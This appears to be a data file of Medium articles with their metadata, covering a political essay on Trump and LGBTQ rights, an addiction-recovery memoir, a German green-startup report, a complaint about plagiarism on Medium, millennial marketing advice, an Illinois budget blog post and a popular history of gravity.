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I Love You Less: What Your Trump Vote Means to Me Now | My 15-year-old daughter sits on her bed, going to high school inside our house as the pandemic slowly churns its way through American life. Being her dad is the greatest joy of my life, which doesn’t keep me from slipping into her room to drop a stack of dirty dishes on her desk as a reminder that they should have gone in the dishwasher. Our small neurotic dog sleeps next to her, having forgotten there was ever a time we weren’t home all day.
By the standards of life in America circa 2020, this is bucolic. You’d hardly know how much we feel at risk.
Flash back to this time 4 years ago. At 11, in a liberal-ish bubble outside Boston, my daughter didn’t yet understand that her dads had civil rights in only a minority of the states. And she was still far from fully grasping what being an African American in this country might mean for her. But I could see what a then-future Trump Presidency would likely bring us and I was scared.
I wrote a Huffington Post essay, “I love you, but: What your Trump vote means for my family.” In it, I talked about what it felt like to hear him promise the right that he would make it legal to not do business with gay people; how I recoiled as he denigrated Latinos, talked about women as dogs, and referred to “the Blacks.”
I wanted my friends and family to understand that it didn’t feel very loving when they excused these things, when they said “I love you, but I’m ok with all that.”
The essay went viral in ways I never expected, passing the million-reader mark. I got emails from all over the globe, some of it praise and some of it hate mail, and as soon as the piece was live in Europe, my computer was hacked. A cursor moved around my screen wildly as an alert message flashed: Your computer is being accessed remotely in —
A few loved ones pooh-poohed my concerns, starting early the drumbeat of “the press is so unfair to Trump” (a consideration that seemingly never applies in reverse). I was admonished for being reactionary and living in fear, a refrain that is now practically the national anthem. “It won’t be that bad,” they said.
Friends piously noted that they would never be single issue voters, which accomplished the neat trick of reducing my family to an “issue,” while remaining awfully vague. Exactly which issue was the one they weren’t moved by?
And then it was over and done.
Four years is a long time. (Add a pandemic and it’s even longer.)
I am now in my 50’s, divorced, raising a teenager, finding new love, and adjusting to the constraints of COVID time. I have to put in more hours to pay the bills, but having the good fortune to be employed remotely means no more commuting, so there is time to sit on the couch at night watching my daughter’s favorite anime shows about demon slayers and kids with mystical powers.
Time in public spaces has been replaced by miles and miles of walking, which means I’m healthier than I was four years ago. This matters: Thanks to this administration, I am no longer guaranteed equal treatment at hospitals. And most people I know have no idea that this is true.
The Trump administration issued guidance allowing health care workers to refuse to care for people like me if they have moral objections to treating us. Under the pretty tag of “conscience rule,” so it seems to be about fairness, Trump engineered discrimination into the law of the land.
This is how it works: if I go to a hospital and anything (from my paperwork to my basic affect) reveals my homosexuality to a health professional, that person can opt not to help me. They don’t actually have to be a churchgoer, or even a member of a church that prohibits homosexuality. They don’t have to prove in any way that dealing with me will cause them harm.
There’s no standard but their own declaration in the moment that they are too spiritually fragile to provide me with care. They have presidential latitude to be a snowflake, melting in the face of conditions they don’t like.
And there’s nothing I can do about it.
That is what your vote for President Trump means to me.
It’s not only me of course. Trans people, single mothers, anyone a health care provider disapproves of is rejectable, an exercise in religious freedom that, at least for Christians, stands in direct opposition to their faith, founded to honor a man who made a prostitute his closest confidante and chased away only the people profiting off religion.
It doesn’t stop there, of course. I did say 4 years is a long time: long enough for Trump to issue a similarly broad guidance allowing people to deny business or services to others for any religious reason they desire. Long enough for the administration to argue multiple times (including at the Supreme Court) that people like me should not have equal rights in the workplace. (Thankfully, he lost that one.) Long enough to extend anti-gay policies into seemingly any sphere possible, like delivery rooms and the barns of 4-H.
If I was trans it would be much worse. The Trump administration, fearing gender affirmation in a way it has never feared COVID, has spent four years working tirelessly to remove all hints of safety in settings from homeless shelters to hospitals and beyond.
Photo from the Advocate.
What does this mean, practically, day to day? It means one same-sex couple I know who evacuated after the wildfires pretended to be cousins to avoid running afoul of a no-homo policy in the lodging they found. It means married women turned away from the retirement home in their hometown. It means a patient having his doctor order surgery and then being told the hospital won’t do it.
It’s unsettling enough to know that we no longer have equal access to health care, housing, and commerce, but the onslaught isn’t over. With Ruth Bader Ginsburg newly laid to rest, members of the Supreme Court blasted same-sex marriage, saying it should never have been legalized, a problem created by the court that “only it could fix.”
Despite this, my GOP friends self-soothe by assuring me that I’m still being unfair, some repeating the canard that Trump is the most pro-gay President ever, largely on the basis of that gay ambassador who announced (to Trump’s surprise) that the US was going to lead a global conversation on decriminalizing homosexuality. A few panel discussions and no actual initiatives later, this flashy statement looks very much like fake news (especially when the U.S. refuses to co-sign U.N. condemnations of regimes that torture or execute gay people).
And this is just one of my “issues.” I could write about the others, especially my fears for my daughter growing up hearing the President say people like her are “coming to destroy” the suburbs.
But honestly, I wonder sometimes how much our lives even matter.
My friends who support the President don’t seem to care much about things that have actually happened to us. They are so busy imagining a kind of bogeyman “socialism” that no one is proposing, or envisioning atrocities that might possibly happen, that they no longer have capacity to deal with the here and now: laws already passed, harm already done. It seems to me like they’re the ones living — and voting — in fear.
There’s little I can do but keep saying, “Look at me. See my family. Know who you are voting against.” Because, after four years, it’s perfectly clear that is what they’re doing. Not hypothetically. Not in the future. Now.
When I say these things, I know it causes discomfort to some who love us.
But it is a privilege to be only uncomfortable, as opposed to being vulnerable. I shouldn’t apologize if my words pain anyone whose 2016 vote has literally cost me my rights.
This time around, I need to be even more direct to those I love who choose Trump over me and my daughter. Not just to a generic “them” but to family, close friends, teachers I adored, students I’m so proud of.
I need to say it plain: I love you, but this vote won’t ever go away.
I want you to know that it will always be there, this vote. Sitting between us. A little self-protective barrier between me and you, an acknowledgement that you voted against my family.
Maybe you’ll hear from me less. Maybe not at all. Or maybe when we do meet again, I’ll seem much like my old self: warm, playful, glad for our time together.
Except I won’t be the same.
Your decision to support the harm done to me will not merely chip away at my affection for you, but will crack it, wear it down, rewrite its contours like a terrible flood.
Like my rights, my love will be diminished.
Both are on you. | https://medium.com/equality-includes-you/i-love-you-less-what-your-trump-vote-means-to-me-now-67a07069665 | ['David Valdes'] | 2020-10-20 21:05:33.066000+00:00 | ['Election 2020', 'Donald Trump', 'LGBTQ', 'Parenting', 'Blm'] |
Happy Holidays from Everyone at Aeriosense | Merry Christmas and Happy Holidays from everyone at Aeriosense! We hope that despite all of the challenges of this year, you and you loved ones are happy and healthy during this joyous time. Here at Aeriosense, even our drones are getting into the Christmas spirit.
Ho Ho Ho! Merry Christmas!
Our drones are well equipped to perform inspections even in freezing weather. In our most recent project with FortisBC a winter storm inundated us with snow part way through. However, we were prepared for this possibility and continued the inspection.
Perfect day for flying
Check out this LinkedIn post by Thomas Barter for a brief overview of this project: LinkedIn Blog Post by Thomas Barter
Check out our full experience with this project here: Automated Drones Inspect B.C.’s Power Lines
Thank you to everyone who supported us over the course of this year and we look forward to continuing to innovate and grow in the coming year.
Merry Christmas! | https://medium.com/aeriosense/happy-holidays-from-everyone-at-aeriosense-a7228113f1a | ['Aeriosense'] | 2020-12-22 17:09:08.130000+00:00 | ['Drones', 'Christmas', 'News'] |
Sanity Defense | Photo by sydney Rae on Unsplash
Defining a dollar poses impossible when you don’t have a dollar to your name. As an addict, I’ve spent more money on the success of my addiction than on the future of my family and me. Through the bottomless pits and highest highs my disease has brought to my life, I’ll never lose the sense of self-doubt. I put an innumerable amount of hours into my recovery, but when I disappoint my wife and children I feel all the penetrating thoughts rush back to my unsettled mind. Countless nights I lie awake (narcolepsy, another gift) and try to consolidate my thoughts, understandings, and rational into a burn pile. I want to be able to watch my depression and anxiety float away to space faster than it arrived in my life.
My children have suffered an incredible amount of grief and pain through my addition. Far more than I would wish on my worst nemesis. With arrests, incarcerations, and court uncertainty, I never could comprehend the words of departure. Having years of jail hanging over my head I would awake for court, kissing their nestled heads goodbye, I was always unable to fathom the ability to promise everything would be alright. As an addict, our promises don’t typically survive.
Never wanting my children to experience the torment and mental crisis the cold bracelets bring. I tried my best to ease their worried minds and put them back to sleep.
My wife has been with me through the toughest of times. She’s testified on my behalf being accused of bias remarks and fabricating the truth. Anyone who knows her will disagree, she is the most truthful and courageous woman I’ve ever known. She wants justice and fairness for all. Enduring the agony of cash flow I brought into her life, she has always stood with me. Keeping our home and family floating in the sea of unknowns I had developed. She has proven stronger than I could have ever known. Through my one faithless relapse and hours of withdrawals, she has never considered abandonment. (At least as far as I know ;-))
My parents as well have spent an incredible wealth on the pursuit of getting me sober. They have never once talked down to me or slapped me into shape. They’ve offered their support and understanding of what it means to be me. I wish everyone could experience the love my family gives me, even when I disintegrate all hope.
They all constantly say they “believe in me” which is hard for me to understand. If I don’t believe in myself, how can any faith be held? That was my thought before entering my treatment program and took a look from the outside in. I’m not a horrible person, I not a ruthless individual. I have a disease and like Joe Fraizer, my inner Ali needs to knock it down. The lion awaits inside all addicts, in recovery it sleeps. It’s up to us to wake that monster up or keep refilling its Ambien prescription.
When I look at my children’s smiles, indulge in conversation with my parents, or caress my gorgeous wife. I realize how precious life is and how I want to be around to enjoy it. Recovery is hard, putting down the bottle has proved to be one of my greatest trials. But every second I leave it alone is another second to cherish. ONE DAY AT A TIME. | https://medium.com/finlee89/sanity-defense-91451b3b081b | ['Tim Varner'] | 2020-12-23 00:08:34.484000+00:00 | ['Depression', 'Family', 'Addiction', 'Love', 'Recovery'] |
Germany Green Startup Monitor 2021: facts and figures | According to the results of GSM 2021, the proportion of green startups rose to 30 percent of all startups in Germany. They play a key role as the engine of sustainable transformation.
Green startups make significant contributions to ecological and social sustainability beyond their potential for economic success. In doing so, they continue to be confronted with clear challenges, especially the difficult access to capital. Against this background, GSM 2021 also formulates political recommendations for action.
Double dividends from green startups: economic effects and social added value
Green startups are characterized by a “double dividend”: In addition to economic effects such as the creation of jobs and returns for investors (economic dividends), green startups also generate added value for society. This “social dividend” includes, for example, the contributions made by sustainable start-ups to the reduction of greenhouse gas emissions.
The study was carried out by the Borderstep Institute and the Federal Association of German Startups for the third time in 2021 and is funded by the German Federal Environment Foundation (DBU). The Green Startup Monitor 2021 can be downloaded free of charge.
Key results
German startups are becoming increasingly greener and more impact-oriented.
Green startups are more related to hardware.
Green startups see themselves as more innovative.
The female founders quota of green startups is higher, but stagnating.
Green startups want more venture capital and better early-stage financing.
An exit is only interesting for half of the green founding teams.
The satisfaction of green startups with their regional ecosystem varies.
The difficulties with raising capital are getting worse.
Green startups are in favor of a ‘Sustainability’ funding line and more state VC funding.
Important numbers
The share of green startups in all startups in Germany is 30%.
76% of all startups in Germany see their ecological and social impact as an important corporate strategy.
50% of all startups in Germany have integrated their social / ecological impact into their key performance indicators.
42% of green startups want venture capital (only 16% have already received venture capital).
The three biggest challenges facing green startups are sales (63%), raising capital (49%) and product development (46%).
47% of the green startups demand the creation of a funding line ‘Sustainability’ with target group-specific financing offers for green and sustainable startups.
Climate change has also become more and more noticeable in this country in recent years. The economic renewal after the Corona crisis must therefore be a restructuring of production and consumption that takes the goal of climate neutrality seriously. Green startups are the key players here because they provide innovative solutions for climate protection and sustainability. What encourages you: Your share in start-up activity in Germany is growing. This is shown by the results of the Green Startup Monitor published today. After that, the share of green startups in the German startup ecosystem increased significantly compared to previous years to 30 percent of all startups in Germany.
The ongoing challenges of the pandemic have increased sensitivity for ecological and social tasks. The crisis is therefore an opportunity for green startups to demonstrate their added value. As the Green Startup Monitor 2021 shows, they make significant contributions to ecological and social sustainability beyond their potential for economic success.
Double dividends: Green startups create positive effects for society
“These innovative and growth-oriented young companies not only deliver convincing products, but also create positive effects for society as a whole”, emphasizes Prof. Dr. Klaus Fichter, director of the Borderstep Institute and co-author of the study. “So green startups are characterized by a double dividend .”
In addition to economic effects such as the creation of jobs and returns for investors (economic dividends), green startups also generate added value for society. This “social dividend” includes, for example, the contributions made by sustainable start-ups to the reduction of greenhouse gas emissions. With a view to the great challenges of the future, the so-called “Grand Challenges”, politics and society are urgently dependent on the use of this potential.
Green startups are pioneers in bringing fundamental innovations to the market
Against this background, David Hanf, Deputy President of the Startup Association, states: “Established companies are strong at improving existing products. Startups, on the other hand, are the pioneers who introduce fundamental environmental innovations on the market. Green startups therefore have a key function as the engine of a sustainable transformation. ”The present Green Startup Monitor makes it clear that sustainable startups have to struggle with high barriers in many markets, emphasizes Hanf, CFO of the Berlin start-up Thermondo.
“Raising capital in particular remains a major challenge, and it is getting worse. Every second green startup — and thus a significantly higher proportion than among the non-green ones — reports difficulties here, ”explains Prof. Dr. Yasmin Olteanu, Beuth University of Applied Sciences Berlin and Research Fellow at the Borderstep Institute. The co-author of the study emphasizes: “There is a particularly large gap between wish and reality, especially in early-stage financing and venture capital — and a significantly larger gap in comparison with non-green startups.”
Demand: Establishment of a “Sustainability” funding line for business with a future
The central demand of the team of authors is the establishment of a funding line ‘Sustainability’ and the expansion of state VC funding. There is a clear need for political action here. The Green Startup Monitor 2021 formulates recommendations for action on how existing competitive disadvantages for those who pay double dividends can be reduced.
As part of a “Sustainability” funding line, for example, the promotion of a network of regional “Sustainability Innovation Hubs” would improve the conditions for cooperation between green startups and established medium-sized companies as well as other actors in the startup ecosystem.
Green startups: engine of the sustainable transformation to climate neutrality by 2050
Green startups are the engine of the sustainable transformation to climate neutrality by 2050, which the European Green Deal clearly formulates as a goal. The around 6,000 green startups in Germany not only make an important contribution to climate and environmental protection with their environmentally friendly products and services, but are also an increasingly important economic and social factor with their sustainable jobs and social solutions.
According to the results of the Green Startup Monitor 2021, the share of green startups in all startups has risen to 30 percent. This corresponds with the increasing importance of ecological and social issues within the startup ecosystem in Germany.
Alexander Bonde, Secretary General of the German Federal Environment Foundation (DBU) also emphasizes this: “We see an incredible potential for innovation in the ‘green’ start-ups.” According to Bonde, they are adaptable, creative and digital. “Sustainable digitization can be a key to solving environmental problems.” The foundation has been supporting sustainable start-ups for the past two years with its own funding program.
The Green Startup Monitor was published by the Borderstep Institute for Innovation and Sustainability gGbmH in cooperation with the Federal Association of German Startups eV and supported technically and financially by the German Federal Environmental Foundation. | https://medium.com/frankfurtvalley/germany-green-startup-monitor-2021-facts-and-figures-e44c5a0dd0f4 | ['Pedro Gonçalo Ferreira'] | 2021-04-07 12:37:45.953000+00:00 | ['German Startups', 'Impact', 'Sustainability', 'Green Tech'] |
Medium Has a Major Plagiarism Problem | Medium Has a Major Plagiarism Problem
Photo by Dan Counsell on Unsplash
I really didn’t want to write this. I’ve been contemplating whether publishing this story will be detrimental to me, my writing, and my publications, for a while. I’ve read stories about how writers are put into Medium jail for criticizing the platform. But I can’t ignore the problem anymore. I’m tired of having views, reads, and money taken away from me while plagiarizers are running rampant on Medium. I’m sick of having to report people all the time because Medium doesn’t seem to take the problem seriously.
You should be sick of it, too.
Since August, I have found over 30 people plagiarizing. I have also been in contact with other editors and writers who have found many more. I reported all the people to Medium and the accounts found to be in violation have been suspended, but this is only after being caught.
The people I’ve found have written hundreds of stories, all behind the paywall and making money. They have published their stories in some of the largest and most popular publications on Medium. These “writers” publish several times a day and are taking money, respect, and views away from legitimate writers daily.
Typically, I don’t look for them as they either request to be a writer for my publication or submit plagiarized articles. One even left a private note on a draft submitted to my publication.
However, last week, I took a few hours to look for people who are plagiarizing. In those couple of hours, I found eight people. Yesterday, I found four more in about an hour. The stories they publish are usually word-for-word copies of articles from the internet and they even copy stories on Medium and republish under their account. Most of them are non-paying members and they write really technical articles having to do with every topic imaginable. Rarely are their stories personal, because that would mean they would actually have to write something themselves.
I have been able to find dozens with not much effort. Can you imagine how many of the 30,000 stories published daily on Medium are plagiarized? And how much money is being paid to these thieves instead of to you?
As someone who has been on the platform for three years as a paying member, I’ve seen Medium change. I’ve adapted to all those changes and am grateful for the opportunity to make money for my writing. I understand Medium does not owe me anything. It is their platform and they make the rules.
But if a business offers a platform I’m paying to be a member of, I expect them to provide a service that does not allow plagiarism to be so prevalent. I also expect procedures in place that can find and catch those who violate the rules. I expect standards.
When it comes to plagiarism, Medium is reactive, not proactive. They rely on people like me and you to report others instead of actually looking for them themselves. They prey on people trying to make money by promoting writers who promote Medium. Round and round you go, buying a membership, paying the marketer for their Medium course, and hoping one day you can quit your day job and write full time. Meanwhile, it has become a plagiarizer’s paradise, and those “writers” are laughing all the way to the bank while you, the legitimate writer, are clamoring for views and a few dollars per month.
Part of the problem is there is no standard for entry. Everyone is a “writer.” Anyone can join and publish a story. Anyone can also game the system it seems. Another problem is you don’t even have to be a paying member to profit. Have an email address? Congrats, you’re a writer!
Many of these “writers” are publication owners who accept anyone and everyone for the sake of growth and to line their own pockets. Along with plagiarized stories, they publish poorly written, unedited pieces regularly. It has become quantity over quality. Your well-written story that you research, wrote on your own, and spent hours perfecting gets lost in the noise of plagiarism and crap writing. Medium has become the place to make money for just being able to type, whether or not the letters make any sense.
If I sound a bit jaded and pissed off, it’s because I am.
Mostly because I have to compete with these plagiarizers who, after being suspended, can just come back, make another account, and steal some more. They can publish someone else’s well-written story in five minutes, get thousands of claps and views, repeat it several times a day, and take money from all those who are legitimate.
On top of that, I had a meeting with a representative from Medium’s Trust and Safety team at the end of September with the promise this issue was being worked on. In that meeting, they advised me they were investing in software to catch people and also trying to deter users before they sign up by various means. They told me the staff was having a two-hour meeting in mid-October regarding plagiarism, and they would advise me of the outcome and involve me in the process.
Since that meeting — and even though I’ve reported many more violators — I have not heard back. Because of that silence, I have to conclude they aren’t taking the issue seriously. And it makes me wonder if they even care.
I may shoot myself in the foot with this article. And maybe you don’t care about the plagiarism if you are one of the writers making a living here. I’ve observed numerous publications and writers who don’t seem to have any ethics as long as the money is flowing to them.
But I care. It’s frustrating to be part of a platform that allows this to take place and to feel like they are not doing everything in their power to stop it. I know I don’t have to write here. I can go somewhere else anytime I want. But Medium is a second home to me. I’ve poured my heart out on this platform, made lots of friends, and have grown tremendously since my first article. Medium has helped change my life. It feels like I’ve lost part of that when I see what it’s becoming.
So, my question for you Medium is: What is being done to combat this issue?
I will be more than happy to update this article if I receive a response. | https://medium.com/the-death-of-online-writing/medium-has-a-major-plagiarism-problem-8ac05a78c31b | ['Jeff Barton'] | 2021-03-30 12:45:08.327000+00:00 | ['Ｍedium', 'Creativity', 'Writing', 'Plagiarism', 'Business'] |
Marketing to millennials: Create a message they can’t ignore | Millennials — currently between the ages of 23 to 37 years old — are estimated to to yield $200 billion in annual buying power. The caveat: only six percent of Millennials consider online advertising to be credible.
So, how will you reach the other 94 percent?
With Millennials, you must cut to the chase and tell the truth. If you don’t, they’ll move on or rat you out.
However, when alignment between a brand and a Millennial is achieved, the results are powerful. This demographic proudly aligns themselves with brands that authentically speak to their values. They can become your most vocal advocates and brand ambassadors.
To get to this point, you must relentlessly build trust through compelling and authentic messaging.
As with any generational segment, Millennials comprise individuals with diverse traits. Despite this, some characteristics are nearly universal and provide a starting point for creating a message they can’t ignore.
Loyal millennials: A paradox?
Contrary to Baby Boomers, Millennials inherently distrust organizations. They want to know the motivations behind what you’re selling and if it aligns with their own value system.
If distrust is so rampant, some argue Millennials will never be loyal customers. However, a Forbes and Elite Daily study found Millennials will develop strong brand loyalty when the product is quality and they are actively engaged by the organization.
So, through honest and strategic messaging, you can build trust and create a loyal Millennial audience.
Get to the point
Thankfully, combatting distrust and building loyalty doesn’t require long, complicated messaging. Millennials prefer you get to the point simply and directly, and tie it back to what is genuinely valuable to them.
But don’t fool yourself into thinking simple means easy. Millennials have a strong aversion to anything remotely salesy. To strike a chord, your simple and direct message must be creative and original.
Brands that talk like a human (not a corporate robot) and take an empathetic approach will win.
How do you create such a message?
Well, you are in luck. We rounded up some examples of brands that are framing their message in a way that the Millennial market can’t ignore.
Stand for something
Millennials want to give back and drive change, and they seek out brands with the same mentality. Whether it’s social advocacy, environmental sustainability, or community-building, brands that clearly stand for more than themselves will draw in the Millennial crowd.
Take note from 26-year-old entrepreneur Marcus Harvey. He founded his apparel company, Portland Gear, on pure pride — the pride that Portlanders have for their city. He positions his company not just as an apparel company, but on the desire to build a strong community.
With 300K followers on Instagram, Harvey has clearly struck a nerve. Almost every post features a community members’ photo and invites others to contribute.
In an interview with Oregon Live, Harvey said, “People do crazy things because they want to see their photo on the @portland page.”
Harvey is continually nourishing a brand that taps into people’s values, their pride of place.
Make a connection
Millennials don’t want to be marketed to; they want to be involved. They’re more receptive to messages that come from those they trust.
A study conducted by SocialChorus found that 95 percent of millennials say friends are the most credible source of product information.
By tapping into pre-existing connections and encouraging engagement, brands can build trust with their audience. If they do so continually, they will grow a vocal group of brand advocates.
In our digital world, there are many ways for brands to connect with their audience and build relationships. Crowdsourcing and user-generated content are just two examples.
Connecting through crowdsourcing
Crowdsourcing is when a brand presents a problem to their audience and asks for their help in creating a solution.
Pabst Blue Ribbon, a beer that’s been on the market for more than a century, has witnessed a resurgence since shifting their marketing toward Millennials. In an effort to connect with this generation, Pabst Blue Ribbon turned over their product design to Millennials through its PBR Art contest. Users were asked to recreate the PBR logo for a chance to win $30,000.
Connecting through user-generated content
A user-generated content strategy involves inviting or curating user content (typically a video or photo). Since the content originates from other users, not the brand itself, it builds peer trust and engages your audience.
Smart brands actively invite users to submit their content and then share it on the brand’s social networks. User-generated content helps turn passionate followers into brand advocates.
There is no need to overthink this. Hydro Flask incorporates user-generated content on its social channels and website. Most Instagram pictures are curated from followers, and some web pages feature customer photos.
Millennial messaging that resonates
Millennial consumers will leave you in the dust if you give them a sales pitch. They want to connect with a business that speaks to their values.
By being direct, standing for something, and encouraging engagement, you’ll build trust among this demographic.
If you continue to deliver, they will become your extended grassroots marketing team. | https://medium.com/madison-ave-collective/marketing-to-millennials-create-a-message-they-cant-ignore-39c69275c178 | ['Hanna Knowles'] | 2018-01-15 18:28:31.743000+00:00 | ['Marketing', 'Messaging', 'Millennials'] |
BSC Robots | BSC Robots is First Robots Network in Binance Smart Chain | https://medium.com/@bscrobots/bsc-robots-e0208557cc33 | ['Bsc Robots'] | 2020-12-17 17:00:48.962000+00:00 | ['Bsc Robots', 'Robots'] |
Day 307: Destroying The Town To Save It While Eating The Seed Corn | As some may remember, a couple of weeks ago, the Illinois State Legislature passed and alleged Governor Bruce Rauner signed SB2059, which provided “stopgap” funding for Illinois’ colleges and universities to the tune of about $600 million that apparently nobody in Springfield knew had been lying around for months in the Education Assistance Fund.
For the schools that had been starving for funds for 10 months, the funds were a welcome meal. But lost in all the hallelujahs before the TV cameras was the measure was not enough, and it wasn’t going to last long.
I’m going to quote extensively today from Eastern Illinois University President David Glassman’s remarks this week before the House Higher Education Appropriations Committee, as reprinted in this article from Tom Kacich of the (Champaign) News-Gazette. I’m doing so because, frankly, I can’t paint the frustrating image of what our alleged Governor’s malfeasance is doing to Illinois’ proud colleges and universities as well as Glassman does here.
“In fact, the stopgap funding in real dollars is so low for EIU that it will likely necessitate additional layoffs beginning in late summer. This is the only way we can achieve the cost reductions necessary to make up for the absent appropriations,” he said. “Insufficient funds equal more layoffs.”
But what about all that “fat” the universities have in their administration?
EIU “has gone so far beyond efficiencies that we’re cutting people that we need in the financial aid office, the student affairs offices, the student support offices, our advisers. It is a very, very deleterious staffing situation we have right now.”
Glassman took over almost one year ago, June 1, 2015, and he has eliminated 363 positions — about 23 percent of the total workforce.
EIU was already a very efficient university. This is the equivalent of an athlete at optimal weight for her height being forced to lose another 23 percent of her body weight to keep her position because the coach wants the concession stand to serve ice cream during games.
As has been pointed out time and time and time again, the budget uncertainty isn’t just affecting current employees, students and parents — it’s affecting the future of all of these universities.
Glassman: “Even though our applications were right on target, our admits were right on target, but the deposits — and that’s what we use to predict enrollments — are down in the neighborhood of about 25 percent. We are told by parents that they are still making decisions up to this time and they’re going to make them through May. They have been nervous as can be. I have letter after letter saying, ‘We loved EIU. We had a great visit day. You are our first choice institution but we can’t be confident that you’re going to be here for four years for our student.’ “And therefore, they will say we’re now selecting Indiana State, we’re now selecting (Southeast Missouri State), we’re now selecting Missouri. They are afraid to commit to the school which is their first choice, and they’re apologizing to me, which I think is very telling and very interesting. They want to come. They’re not willing to commit.” “We in Illinois — whether it’s Eastern, Western, Northeastern, Southern — we’re all facing the same situation, and we need to assure these kids: Come to Illinois universities. Because now they’re saying, ‘Well, you might be here in the fall because everybody says they’ll be open in the fall. But are you going to be open next year? Are we going to have an impasse? Is this going to happen every year? And we keep hearing that you might have to eliminate some programs if you don’t get full funding. Is it going to be my program?’”
And the alleged Governor’s hostage-taking ways have not gone unnoticed by current students and employees, either.
“Many students are nervous about when and whether the state budgetary impasse will be completely resolved and how it will affect their ongoing education. These students do not need the added stress of wondering whether their program will still be operating by their senior year. To make matters worse, we are losing our best and brightest faculty at an increasingly alarming rate. And we aren’t left to wonder what their reason for leaving is. They tell us up front: too much uncertainty, not enough trust.”
There’s now a new bill working its way through the legislature that appears to have bipartisan support. It would provide an additional $400+ million in funding to schools over the summer.
The hostage-taker-in-chief was non-committal to the Chicago Tribune:
A spokeswoman for Rauner said that while he is “open to discussing emergency bridge funding” for higher education and other services, he is focused on a more comprehensive budget deal, which has remained elusive.
It remains elusive because the opposition-led Legislature won’t include Rauner’s non-budgetary, anti-worker, anti-union pet agenda in a budget.
Meanwhile, Rauner thinks it’s fine and dandy to burn down the state to save it, meanwhile eating the seed corn — the future of the state — by tacitly encouraging Illinois’ youth to go elsewhere to pursue their higher education, perhaps never to return. I’m sure Indiana, Wisconsin, Missouri, Iowa and Kentucky welcome them all with open arms.
That’s some turnaround Rauner is accomplishing.
Meanwhile, several social services agencies have taken the only action that Rauner understands, apparently, suing in court for “breach of contract.”
From a CapitolFax roundup of info about the lawsuit:
The lawsuit, which also targets the directors of the Department on Aging and the departments of Human Services, Public Health, Healthcare and Family Services and Corrections, claims Rauner created an “unconstitutional impairment” of the contracts in his June 25, 2015, veto because the administration subsequently insisted on enforcing contract terms despite having no money to pay.
I hope they win. At some point, somehow, some way, a lightbulb has to click in this obstinate Governor’s skull that he can’t ransom the state’s vulnerable citizens because he has a raging hate-on for unions. That’s not governance. That’s not even human. | https://medium.com/synapse/day-307-destroying-the-town-to-save-it-while-eating-the-seed-corn-4263492390ee | ['Bryan Murley'] | 2016-05-11 21:49:28.406000+00:00 | ['Politics', 'Higher Education', 'Education'] |
The Quest for an Ultimate Theory of Gravity | Without gravity the night sky would look very empty. Stars, galaxies, moons, and planets — none of these could exist without gravity holding them together. Neither, for that matter, could the Sun or Earth. It is gravity that pulled together diffuse atoms and built the universe that we see around us today.
The glory of the night sky, all thanks to gravity. Credit to ESO.
Gravity has also been at the heart of our own efforts to understand the nature of reality, from Newton’s formulation of the universal law of gravity to Einstein’s theory of relativity. Today gravity lies at the centre of new problems in science, and holds the key to uncovering what may be the ultimate theory of physics.
For something that has had such a profound effect on humanity, gravity is surprisingly weak. Of the four fundamental forces known to physics, gravity is by far the weakest. This weakness can easily be demonstrated — the magnetic force of a small fridge magnet can easily lift a pin into the air, thus defeating the gravitational force of an entire planet.
The weakness of the gravitational force means it can be almost completely ignored at the level of atoms and molecules. It is only when we look at very big objects — planets, stars and galaxies, that gravity starts to matter. While the other fundamental forces fade away over short distances, the force of gravity can be felt from one side of the galaxy to the other.
Humans have known about gravity, or at least the effects of gravity, since the most ancient times. The basic fact that things fall down when dropped is known to everyone, and would have been obvious even in the Stone Age. Ancient civilizations in Greece and India developed a basic understanding of the nature of gravity, and knew that falling objects accelerate, but were unable to apply these ideas to the wider universe.
It was not until the Renaissance, and the days of Galileo, Kepler and Newton, that a truly scientific analysis of gravity was made. Experiments by Galileo demonstrated the counter-intuitive fact that all objects, regardless of how heavy they are, accelerate at the same rate when falling. And Kepler, working with observations of the planets, developed laws describing the motion of the planets around the Sun.
In 1687 Isaac Newton published a book, Philosophiæ Naturalis Principia Mathematica, summarising his three laws of motion, and the universal law of gravitation. For the first time gravity was expressed mathematically, and with this Newton was able to show that Kepler’s laws arose from a simple equation describing the force of gravity. Gravity was revealed as the force that shaped the universe, governed the motion of the stars and planets, and gave us seasons, tides and falling apples.
Over the next two centuries scientists built on Newton’s laws to develop what is now known as Classical Physics. These scientists had tremendous success in describing and predicting the natural world. Astronomers, noticing discrepancies in the orbit of Uranus, were able to use classical physics to predict the position of an eighth planet further out in the Solar System, predictions that led to the discovery of Neptune in 1846.
Neptune’s existence was first predicted by deviations in the orbit of Uranus. Credit to NASA.
Despite these successes, cracks were forming in our understanding of gravity. The orbit of Mercury also did not follow predictions, and astronomers searched fruitlessly for another planet to explain this strange behaviour. And although scientists could explain the effects of gravity, nobody could understand quite how stars and planets millions or billions of miles away could exert a force on the Earth.
Answering these questions required a revolution in physics, and the early twentieth century brought one. In just a handful of years Classical Physics was swept aside by two new theories — Quantum Physics and Relativity. While quantum theory was mostly associated with very small things, and could therefore largely ignore gravity, relativity became intimately linked with gravity.
Einstein’s famous special theory of relativity concerns the speed of light, and the behaviour of objects moving close to the speed of light. As first formulated by Einstein this had little to do with gravity. However, in the years following the publication of the special theory of relativity, Einstein developed a more general theory. This theory, appropriately known as the General Theory of Relativity, described the behaviour of gravity more accurately than Newton’s theory, and not only solved the problems with the motion of Mercury, but predicted a whole host of exotic objects — black holes, wormholes and even the possibility of time travel.
The first image of a black hole, demonstrating the accuracy of Einstein’s theory. Credit to EHT.
The general theory of relativity is an extraordinarily beautiful theory. In classical physics the ideas of matter, motion, space and time are all thought of separately. Space acts as a stage, upon which matter can act. Time is simply a clock, ticking away, allowing matter to move through the stage. But in relativity these ideas are united. Space and time combine into a single entity, spacetime. The presence of matter distorts spacetime, and as matter moves through both space and time, those distortions in turn affect the motion of both matter and light.
The predictions of general relativity were first confirmed by Arthur Eddington in 1919. Physicists studying the complex equations soon found solutions pointing to the existence of black holes — objects so massive that they distort space in such an extreme way that light itself cannot escape. Treated at first as just a mathematical curiosity, the idea of black holes gradually gained acceptance over the following decades. Other solutions to Einstein’s theories have also been proposed, suggesting that bizarre objects such as wormholes, linking distant regions of space through higher dimensional space, or even closed loops of time, are possible.
Despite the revolution in physics, problems with gravity still persisted. Our understanding of the size of the universe changed radically in the early twentieth century when other galaxies were identified for the first time. But observations of these galaxies revealed that they did not spin at the speed predicted by our theories of gravity. Physicists have tried to solve this problem by invoking “Dark Matter”, theorised to be some kind of almost invisible particle that adds additional mass to galaxies. Dark matter cannot be seen by our telescopes, and despite many years of searching we still don’t know what dark matter is. This has led some scientists to try looking for other solutions, including making modifications to the laws of gravity.
